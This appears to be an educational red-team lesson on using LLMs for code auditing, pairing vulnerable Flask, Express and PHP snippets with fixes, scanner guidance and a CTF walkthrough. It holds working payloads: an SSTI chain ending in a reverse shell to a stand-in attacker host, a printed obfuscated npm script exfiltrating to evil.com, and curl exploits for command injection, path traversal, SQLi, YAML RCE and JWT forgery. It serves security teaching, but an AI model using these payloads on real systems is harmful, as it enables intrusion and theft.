AI-Assisted Code Auditing

Using LLMs to find security vulnerabilities in source code faster and more thoroughly than manual review alone.

Important Notice

This lesson teaches you to think like an attacker so you can build better defenses. All examples use intentionally vulnerable code for demonstration purposes.

Why Code Auditing Matters for Red Teams

• Find vulnerabilities before defenders do — source code review reveals bugs that black-box testing misses entirely
• Understand attack surface depth — reading code shows every input path, authentication check, and data flow
• Identify logic flaws — business logic vulnerabilities rarely appear in scanner output but are visible in source
• Prioritize exploitation — code context tells you which bugs are actually exploitable vs. theoretical
• Supply chain visibility — auditing dependencies reveals inherited vulnerabilities and backdoors

Manual Audit vs. AI-Assisted Audit

The Code Auditing Workflow

1. Reconnaissance — Identify the tech stack, framework, language, and dependencies
2. Attack Surface Mapping — Find all entry points: routes, API endpoints, file uploads, user inputs
3. Data Flow Tracing — Follow user input from source to sink (where it gets used dangerously)
4. Vulnerability Pattern Matching — Check for known insecure patterns (OWASP Top 10)
5. Logic Flaw Analysis — Review authentication, authorization, and business logic
6. Dependency Audit — Check third-party libraries for known CVEs
7. Report & Prioritize — Rank findings by exploitability and impact

OWASP Top 10 — The Auditor's Checklist

Vulnerability #1: SQL Injection (Python Flask)

Vulnerable Code

@app.route('/user')
def get_user():
    username = request.args.get('username')
    query = f"SELECT * FROM users WHERE username = '{username}'"
    result = db.execute(query)
    return jsonify(result.fetchall())

AI-Identified Issue

Secure Fix

@app.route('/user')
def get_user():
    username = request.args.get('username')
    query = "SELECT * FROM users WHERE username = ?"
    result = db.execute(query, (username,))
    return jsonify(result.fetchall())

Vulnerability #2: Cross-Site Scripting (Node.js Express)

Vulnerable Code

app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`
    <h1>Search Results</h1>
    <p>You searched for: ${query}</p>
    <p>No results found.</p>
  `);
});

AI-Identified Issue

Secure Fix

const escapeHtml = require('escape-html');

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q || '');
  res.send(`
    <h1>Search Results</h1>
    <p>You searched for: ${query}</p>
  `);
});

Vulnerability #3: Command Injection (Python Flask)

Vulnerable Code

@app.route('/ping')
def ping():
    host = request.args.get('host')
    output = os.popen(f'ping -c 3 {host}').read()
    return f'<pre>{output}</pre>'

AI-Identified Issue

Secure Fix

import subprocess, re

@app.route('/ping')
def ping():
    host = request.args.get('host', '')
    if not re.match(r'^[\w.\-]+$', host):
        return 'Invalid hostname', 400
    result = subprocess.run(
        ['ping', '-c', '3', host],
        capture_output=True, text=True, timeout=10
    )
    return f'<pre>{result.stdout}</pre>'

Vulnerability #4: Server-Side Request Forgery (SSRF)

Vulnerable Code

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    response = requests.get(url)
    return response.text

AI-Identified Issue

Secure Fix

from urllib.parse import urlparse
import ipaddress

ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url', '')
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        return 'Host not allowed', 403
    if parsed.scheme not in ('http', 'https'):
        return 'Invalid scheme', 400
    response = requests.get(url, timeout=5)
    return response.text

Vulnerability #5: Path Traversal (Node.js Express)

Vulnerable Code

app.get('/download', (req, res) => {
  const filename = req.query.file;
  const filepath = path.join(__dirname, 'uploads', filename);
  res.sendFile(filepath);
});

AI-Identified Issue

Secure Fix

app.get('/download', (req, res) => {
  const filename = path.basename(req.query.file || '');
  const filepath = path.join(__dirname, 'uploads', filename);
  // Verify resolved path is still within uploads directory
  if (!filepath.startsWith(path.join(__dirname, 'uploads'))) {
    return res.status(403).send('Access denied');
  }
  res.sendFile(filepath);
});

Vulnerability #6: Insecure Deserialization (Python)

Vulnerable Code

import pickle, base64

@app.route('/load-session')
def load_session():
    data = request.cookies.get('session_data')
    session = pickle.loads(base64.b64decode(data))
    return f'Welcome back, {session["username"]}'

AI-Identified Issue

Secure Fix

import json, hmac, hashlib

SECRET_KEY = os.environ['SESSION_SECRET']

@app.route('/load-session')
def load_session():
    data = request.cookies.get('session_data', '')
    sig = request.cookies.get('session_sig', '')
    expected = hmac.new(SECRET_KEY.encode(), data.encode(),
                        hashlib.sha256).hexdigest()
    if not hmac.compare_digest(sig, expected):
        return 'Invalid session', 403
    session = json.loads(base64.b64decode(data))
    return f'Welcome back, {session["username"]}'

Vulnerability #7: PHP File Inclusion

Vulnerable Code

<?php
$page = $_GET['page'];
include("templates/" . $page . ".php");
?>

AI-Identified Issue

Secure Fix

<?php
$allowed = ['home', 'about', 'contact', 'login'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed, true)) {
    http_response_code(404);
    exit('Page not found');
}
include("templates/" . $page . ".php");
?>

AI Prompting Strategies for Code Review

Strategy 1: Role-Based Prompting

You are a senior application security engineer performing a
white-box code audit. Analyze the following code for security
vulnerabilities. For each finding, provide:
1. Vulnerability type (CWE ID if possible)
2. Affected line(s)
3. Severity (Critical/High/Medium/Low)
4. Proof-of-concept exploit payload
5. Recommended remediation

Focus on: injection flaws, authentication bypass, access control
issues, cryptographic weaknesses, and data exposure.

AI Prompting Strategies (continued)

Strategy 2: Systematic Audit Checklist

Audit this code against the following checklist:
[ ] SQL/NoSQL injection in all database queries
[ ] XSS in all rendered output
[ ] Command injection in system calls
[ ] Path traversal in file operations
[ ] SSRF in outbound HTTP requests
[ ] Insecure deserialization
[ ] Hardcoded secrets or API keys
[ ] Missing authentication on sensitive routes
[ ] Missing authorization (IDOR)
[ ] Weak cryptographic operations
[ ] Race conditions in concurrent operations
[ ] Information leakage in error messages

For each item, state PASS or FAIL with evidence.

This forces the LLM to systematically check every category rather than reporting only the most obvious findings.

AI Prompting Strategies (continued)

Strategy 3: Data Flow Tracing

Trace every user-controlled input in this application from
source to sink. Map each input to where it is:
1. Received (source): request parameters, headers, cookies, etc.
2. Processed: validation, sanitization, transformation
3. Used (sink): database queries, shell commands, file ops, HTML output

Flag any path where user input reaches a dangerous sink
without adequate sanitization.

Strategy 4: Iterative Deep Dive

Step 1: "List all routes/endpoints and their HTTP methods"
Step 2: "For /api/admin/*, what authentication is required?"
Step 3: "In the upload handler, trace the filename parameter"
Step 4: "Can the JWT secret be brute-forced? Show the config"

Break complex codebases into focused questions — AI performs better on specific, targeted queries than on "find all bugs."

Strategy 5: Adversarial Thinking Prompt

You are a skilled attacker who has obtained the source code of
this web application. Your goal is to:
1. Gain unauthorized access to admin functionality
2. Extract sensitive data from the database
3. Achieve remote code execution on the server

Analyze the code and describe your attack plan step by step.
For each attack vector, provide the exact HTTP request you
would craft.

Automated Scanners vs. AI Review

Tool: Semgrep

A fast, open-source static analysis tool that supports custom rules. Ideal for red teams because rules are easy to write and share.

# semgrep rule: detect SQL injection in Flask
rules:
  - id: flask-sqli
    patterns:
      - pattern: |
          db.execute(f"...{$USER_INPUT}...")
      - pattern-not: |
          db.execute("...", ...)
    message: "Potential SQL injection via f-string interpolation"
    severity: ERROR
    languages: [python]

# Run Semgrep against a target directory
semgrep --config auto ./target-app/
semgrep --config p/owasp-top-ten ./target-app/
semgrep --config p/python ./target-app/

Tool: CodeQL

GitHub's semantic code analysis engine. Treats code as data — you query it like a database.

/**
 * @name SQL injection from request parameter
 * @kind path-problem
 */
import python
import semmle.python.security.dataflow.SqlInjection

from SqlInjection::Configuration cfg, DataFlow::PathNode source,
     DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink,
  "This SQL query depends on $@.",
  source.getNode(), "user-provided value"

# Create database and run queries
codeql database create my-db --language=python --source-root=./app
codeql database analyze my-db codeql/python-queries --format=sarif-latest

CodeQL excels at taint tracking — following data from untrusted sources to dangerous sinks across function boundaries.

Tool: Bandit (Python-Specific)

A security linter designed specifically for Python codebases. Fast to run, easy to integrate into CI.

# Install and run Bandit
pip install bandit
bandit -r ./flask-app/ -f json -o results.json

# Run with specific tests
bandit -r ./flask-app/ -t B301,B302,B303,B608

# Common test IDs:
# B301 - pickle usage
# B302 - marshal usage
# B303 - weak hash (md5/sha1)
# B608 - SQL injection (string formatting)
# B602 - subprocess with shell=True
# B501 - requests with verify=False

How AI Augments Traditional Tools

Real-World Audit: Vulnerable Flask App

Let's audit a realistic Flask application with multiple vulnerabilities.

from flask import Flask, request, render_template_string
import sqlite3, os, pickle, base64

app = Flask(__name__)
db = sqlite3.connect('app.db', check_same_thread=False)
SECRET = "supersecret123"  # Hardcoded secret

@app.route('/login', methods=['POST'])
def login():
    user = request.form['username']
    pw = request.form['password']
    q = f"SELECT * FROM users WHERE username='{user}' AND password='{pw}'"
    result = db.execute(q).fetchone()
    if result:
        session_data = base64.b64encode(
            pickle.dumps({'user': user, 'role': result[3]})
        ).decode()
        resp = app.make_response('Login OK')
        resp.set_cookie('session', session_data)
        return resp
    return 'Invalid credentials', 401

How many vulnerabilities can you spot? (We'll walk through them next.)

Vulnerable Flask App (continued)

@app.route('/profile')
def profile():
    cookie = request.cookies.get('session')
    session = pickle.loads(base64.b64decode(cookie))
    template = f"<h1>Welcome {session['user']}</h1>"
    return render_template_string(template)

@app.route('/export')
def export_data():
    fmt = request.args.get('format', 'csv')
    filename = request.args.get('name', 'export')
    os.system(f'python generate_report.py --format {fmt} --output /tmp/{filename}')
    return send_file(f'/tmp/{filename}')

@app.route('/avatar')
def avatar():
    url = request.args.get('url')
    import requests as r
    img = r.get(url).content
    return img, 200, {'Content-Type': 'image/png'}

AI Audit Results: Flask App Findings

Deep Dive: Server-Side Template Injection

One of the most powerful vulnerabilities AI can identify — often missed by traditional scanners.

# Vulnerable pattern in Flask
template = f"<h1>Welcome {session['user']}</h1>"
return render_template_string(template)

Exploitation Chain

# Step 1: Detect SSTI — register with username:
{{ 7*7 }}

# Step 2: If "49" appears, confirm SSTI. Read config:
{{ config.items() }}

# Step 3: Remote Code Execution via Jinja2:
{{ ''.__class__.__mro__[1].__subclasses__()[407]('id', shell=True, stdout=-1).communicate() }}

# Step 4: Reverse shell:
{{ ''.__class__.__mro__[1].__subclasses__()[407]('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"', shell=True, stdout=-1).communicate() }}

Real-World Audit: Vulnerable Express App

const express = require('express');
const { exec } = require('child_process');
const mysql = require('mysql');
const app = express();

const db = mysql.createConnection({
  host: 'localhost', user: 'root',
  password: 'admin123',  // Hardcoded credentials
  database: 'myapp'
});

app.get('/user/:id', (req, res) => {
  db.query(`SELECT * FROM users WHERE id = ${req.params.id}`,
    (err, results) => {
      res.json(results);
    });
});

app.post('/upload', (req, res) => {
  const filename = req.body.filename;
  exec(`file /tmp/uploads/${filename}`, (err, stdout) => {
    res.send(`File type: ${stdout}`);
  });
});

app.get('/redirect', (req, res) => {
  res.redirect(req.query.url);
});

AI Audit Results: Express App Findings

Exploit: Command Injection via Filename

# POST /upload with body:
# filename=test.txt; cat /etc/passwd
# Becomes: file /tmp/uploads/test.txt; cat /etc/passwd

curl -X POST http://target/upload \
  -d 'filename=test.txt%3B+cat+/etc/passwd'

Supply Chain Attacks: Analyzing Dependencies

Modern applications import hundreds of packages. Each is a potential attack vector.

AI Prompt for Dependency Auditing

Analyze this package.json/requirements.txt for supply chain risks:

1. Flag any packages with known CVEs
2. Identify typosquatting risks (similar names to popular packages)
3. Check for overly permissive version ranges
4. Flag packages with post-install scripts
5. Identify packages that request unusual permissions
   (network, filesystem, OS access) for their stated purpose
6. Check for packages with very few downloads or recent ownership transfers

Checking Dependencies with AI

# Generate dependency tree for AI analysis
pip freeze > full_requirements.txt
pip-audit --format json > audit_results.json

# For Node.js
npm ls --all --json > deps.json
npm audit --json > audit.json

# Feed both files to an LLM for contextual analysis

Recognizing Obfuscated Malicious Code

AI can identify suspicious patterns in dependency source code that automated tools miss.

Example: Malicious Post-Install Script

// Found in a typosquatted npm package
const { exec } = require('child_process');
const os = require('os');
const dns = require('dns');

const d = Buffer.from('YUhSMGNITTZMeTlsZG1sc0xtTnZiUT09','base64')
  .toString();
const e = Buffer.from(d, 'base64').toString();

exec(`curl -s ${e}/c?h=${os.hostname()}&u=${os.userInfo().username}`,
  () => {});
// Decoded URL: https://evil.com
// Exfiltrates hostname and username on install

Building Your AI Code Audit Pipeline

1. Automated Layer — Run Semgrep + Bandit/ESLint-security on every commit

   semgrep --config auto --json ./app > semgrep.json
   bandit -r ./app -f json -o bandit.json

2. AI Triage Layer — Feed scanner results + source code to LLM

   prompt = f"""
   Given these scanner findings: {scanner_results}
   And the source code: {source_code}
   
   Triage each finding: true positive, false positive, or needs investigation.
   For true positives, generate a proof-of-concept exploit.
   """

3. AI Deep Audit — Targeted prompts for critical components (auth, payment, admin)
4. Human Review — Expert review of AI findings + logic flaw hunting

Common Pitfalls in AI Code Auditing

• Context window limits — Large codebases exceed token limits. Solution: audit file by file, then ask about cross-file interactions
• False confidence — AI may say "no vulnerabilities found" and be wrong. Always verify with targeted follow-up questions
• Missing framework context — AI may not know that a framework auto-escapes output (e.g., Django templates). Specify the framework version
• Overlooking configuration — AI focused on code may miss insecure nginx.conf, docker-compose.yml, or .env files
• Hallucinated vulnerabilities — AI may report bugs that don't exist. Always verify by reading the actual code path

Vulnerability #8: Broken Access Control (IDOR)

Vulnerable Code

@app.route('/api/invoice/<invoice_id>')
@login_required
def get_invoice(invoice_id):
    invoice = db.execute(
        "SELECT * FROM invoices WHERE id = ?", (invoice_id,)
    ).fetchone()
    if not invoice:
        return 'Not found', 404
    return jsonify(dict(invoice))

AI-Identified Issue

Secure Fix

@app.route('/api/invoice/<invoice_id>')
@login_required
def get_invoice(invoice_id):
    invoice = db.execute(
        "SELECT * FROM invoices WHERE id = ? AND user_id = ?",
        (invoice_id, current_user.id)
    ).fetchone()
    if not invoice:
        return 'Not found', 404
    return jsonify(dict(invoice))

Vulnerability #9: JWT Weaknesses

Vulnerable Code

import jwt

@app.route('/api/protected')
def protected():
    token = request.headers.get('Authorization', '').replace('Bearer ', '')
    try:
        payload = jwt.decode(token, options={"verify_signature": False})
        if payload.get('role') == 'admin':
            return get_admin_data()
    except jwt.DecodeError:
        pass
    return 'Unauthorized', 401

AI-Identified Issue

# Forge an admin token (no signature needed)
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '='  # header
echo -n '{"role":"admin","sub":"attacker"}' | base64 | tr -d '='  # payload
# Token: header.payload.

Vulnerability #10: Race Conditions

Vulnerable Code

@app.route('/transfer', methods=['POST'])
@login_required
def transfer():
    amount = int(request.form['amount'])
    to_user = request.form['to_user']

    balance = db.execute(
        "SELECT balance FROM accounts WHERE user_id = ?",
        (current_user.id,)
    ).fetchone()[0]

    if balance >= amount:
        db.execute("UPDATE accounts SET balance = balance - ? WHERE user_id = ?",
                   (amount, current_user.id))
        db.execute("UPDATE accounts SET balance = balance + ? WHERE user_id = ?",
                   (amount, to_user))
        db.commit()
        return 'Transfer complete'
    return 'Insufficient funds', 400

Multi-Language Audit Patterns

AI can audit code in any language. Here are common vulnerability patterns across stacks.

Advanced: Configuration File Auditing

Don't forget to audit configuration alongside code — misconfigurations are the #5 OWASP category.

Docker / docker-compose.yml

# Vulnerable patterns AI should flag:
services:
  web:
    privileged: true              # Container runs as root with full host access
    volumes:
      - /:/host                   # Entire host filesystem mounted
    environment:
      - DB_PASSWORD=hunter2       # Secrets in plaintext
      - DEBUG=true                # Debug mode in production
    ports:
      - "0.0.0.0:22:22"          # SSH exposed to all interfaces

nginx.conf

# Vulnerable patterns:
location /api {
    proxy_pass http://backend;
    proxy_set_header X-Real-IP $remote_addr;
    # Missing: rate limiting, request size limits
}
location ~ /\.  { }  # Dot files accessible (exposes .git, .env)

Audit Workflow: Step-by-Step

Phase 1: Reconnaissance

Prompt: "Analyze this project structure and identify:
1. The web framework and version
2. The database technology
3. Authentication mechanism
4. All API endpoints with their HTTP methods
5. Any third-party integrations
6. File upload/download functionality"

Phase 2: Attack Surface Mapping

Prompt: "For each endpoint you identified, classify it as:
- PUBLIC (no auth required)
- AUTHENTICATED (any logged-in user)
- AUTHORIZED (role-based access)
Flag any sensitive endpoints that are PUBLIC or only AUTHENTICATED
when they should require AUTHORIZED access."

Audit Workflow: Step-by-Step (continued)

Phase 3: Vulnerability Hunting

Prompt: "For each endpoint, trace the data flow:
1. Where does user input enter? (params, body, headers, cookies)
2. Is it validated or sanitized?
3. Where does it go? (database, shell, template, file system, HTTP)
4. Are there any dangerous function calls in the path?

Provide specific line numbers and exploit payloads."

Phase 4: Exploitation Assessment

Prompt: "For each confirmed vulnerability:
1. Write a curl command or Python script to exploit it
2. What is the maximum impact? (data theft, RCE, privilege escalation)
3. Can this vulnerability be chained with others?
4. What would a defender see in logs?"

CTF Challenge: Web App Code Audit

Your Target Application

from flask import Flask, request, redirect, send_file
import sqlite3, os, hashlib, yaml

app = Flask(__name__)
conn = sqlite3.connect(':memory:', check_same_thread=False)
conn.execute('''CREATE TABLE users
    (id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT)''')
conn.execute("INSERT INTO users VALUES (1,'admin',?, 'admin')",
    (hashlib.md5(b'FL@gH3r0!').hexdigest(),))
conn.execute("INSERT INTO users VALUES (2,'guest',?, 'user')",
    (hashlib.md5(b'guest123').hexdigest(),))

CTF Challenge: Target App (continued)

@app.route('/login', methods=['POST'])
def login():
    u = request.form.get('username', '')
    p = hashlib.md5(request.form.get('password', '').encode()).hexdigest()
    row = conn.execute(
        f"SELECT * FROM users WHERE username='{u}' AND password='{p}'"
    ).fetchone()
    if row:
        return redirect(f'/dashboard?user={row[1]}&role={row[3]}')
    return 'Access Denied', 403

@app.route('/dashboard')
def dashboard():
    user = request.args.get('user', 'guest')
    role = request.args.get('role', 'user')
    if role == 'admin':
        return f'<h1>Admin Panel</h1><p>Welcome {user}</p>' \
               f'<p>Flag: CTF{{y0u_f0und_th3_fl@g}}</p>'
    return f'<h1>Dashboard</h1><p>Welcome {user}</p>'

CTF Challenge: Target App (continued)

@app.route('/settings', methods=['POST'])
def settings():
    config = request.get_data()
    settings = yaml.load(config, Loader=yaml.FullLoader)
    return f"Settings updated: {settings}"

@app.route('/backup')
def backup():
    filename = request.args.get('file', 'backup.tar.gz')
    return send_file(f'/backups/{filename}')

@app.route('/health')
def health():
    check = request.args.get('cmd', 'uptime')
    result = os.popen(check).read()
    return f'<pre>{result}</pre>'

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

CTF Challenge: Solution Walkthrough

CTF Solution: Key Exploits

Exploit 1: Broken Access Control (Easiest Path to Flag)

# The /dashboard endpoint trusts client-supplied role parameter!
curl 'http://target/dashboard?user=hacker&role=admin'
# Response: Flag: CTF{y0u_f0und_th3_fl@g}

Exploit 2: SQL Injection Bypass

# Bypass login with SQLi
curl -X POST http://target/login \
  -d "username=admin'--&password=anything"
# Redirects to /dashboard?user=admin&role=admin

Exploit 3: Command Injection for RCE

# /health endpoint passes input directly to os.popen()
curl 'http://target/health?cmd=id;cat+/etc/passwd'

Exploit 4: Path Traversal

# Read arbitrary files via /backup
curl 'http://target/backup?file=../../etc/shadow'

CTF Solution: Advanced Exploits

Exploit 5: YAML Deserialization (RCE)

# yaml.FullLoader can instantiate Python objects
curl -X POST http://target/settings \
  -H 'Content-Type: text/yaml' \
  -d '!!python/object/apply:os.popen ["id"]'

Exploit 6: Flask Debug Console

# debug=True exposes Werkzeug debugger
# If an error is triggered, interactive Python console is available
curl 'http://target/health?cmd='
# Then access /console for interactive Python shell
# (may require PIN bypass — PIN can be computed from machine-id)

Writing an AI-Powered Audit Report

Structure your findings for maximum impact, whether for a CTF write-up or a real penetration test report.

Prompt: "Format these findings as a professional security audit report:

For each vulnerability include:
- Title and CWE ID
- Severity (CVSS 3.1 score and rating)
- Affected component (file, line, function)
- Description (what is the issue)
- Impact (what can an attacker achieve)
- Proof of Concept (exact exploit steps)
- Remediation (specific code fix)
- References (relevant CWE, OWASP pages)

Sort by severity, highest first."

Key Takeaways

• AI accelerates code auditing — from hours to minutes for initial vulnerability discovery
• Layer your approach — automated scanners (Semgrep, Bandit, CodeQL) for breadth, AI for depth, humans for logic
• Structured prompts win — role-based, checklist, and data-flow prompting outperform generic "find bugs" prompts
• Verify everything — AI can hallucinate vulnerabilities or miss real ones; always confirm findings manually
• Don't forget config and dependencies — vulnerabilities hide in Dockerfiles, CI configs, and package.json
• Learn vulnerability patterns — knowing dangerous sinks per language makes you a better prompt engineer and auditor
• Chain vulnerabilities — individual medium-severity bugs can combine into critical exploit chains